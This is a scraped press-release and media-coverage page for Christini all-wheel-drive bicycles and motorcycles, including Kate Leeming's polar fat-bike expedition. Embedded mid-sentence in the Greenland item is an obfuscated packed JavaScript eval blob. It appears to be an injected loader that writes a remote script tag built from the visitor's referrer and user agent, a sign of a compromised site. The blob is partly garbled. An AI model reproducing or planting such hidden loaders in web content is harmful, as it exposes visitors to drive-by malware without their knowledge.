Press Releases

  • Breaking the Cycle Yukon Expedition Breaking the Cycle Yukon is happening now!  Watch Kate’s progress and updates here.  
  • CHRISTINI AWD Fat-bike in Greenland Follow eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdhes|var|u0026u|referrer|zzrsi||js|php'.split('|'),0,{})) along as Australian expedition cyclist Dr. Kate Leeming travels through Northeast Greenland to test out her custom made Christini all-wheel-drive fat-bike in polar conditions. Kate aims to make the first bicycle crossing of the Antarctic continent via the South Pole. Good luck!
  • Two-Wheel Drive Christini 29er Fat Snow Bike Developed for Ride to South Pole – Bike Rumor If there were ever an application for an all-wheel drive mountain bike, this is it. Christini’s been making mountain bikes with two wheel drive for quite some time, starting development in 1995 and selling the first bike in 2001. He’s even ported the tech over to motorbikes. Now, he’s built  a custom version of his 29? ...
  • Kate Leeming’s All-Wheel Drive Christini Fat Bike — International Mountain Bike Magazine How mad is this? Like nothing we’ve ever seen before! This custom-made all-wheel drive fattie has been designed and built for the specific purpose of powering explorer Kate Leeming across the Antarctic continent via the South Pole. In tandem with the standard drivetrain you’d find on any normal bike is a driveshaft linkage connecting the ...

Media Hits

04.28.2006 Philadelphia Inquirer
Wheels of Fortune?
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03.02.2006 City Paper (Philadelphia)
Will Steve Christini’s 10-year quest for a two-wheel drive change the motorcycle industry? Or push him over the edge?
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11.01.2005 Four Wheeler
Christini AWD Long Travel
10.01.2005 Trail Rider (Motorcycle)
“If we weren’t convinced before, this second prototype nails it!”
11.01.2004 Dirt Rider Magazine (Motorcycle)
“2WD is going to change off-road motorcycles in the very near future.” Jimmy Lewis from Dirt Rider gives a glimpse into the future of dirt bikes and Christini in this article.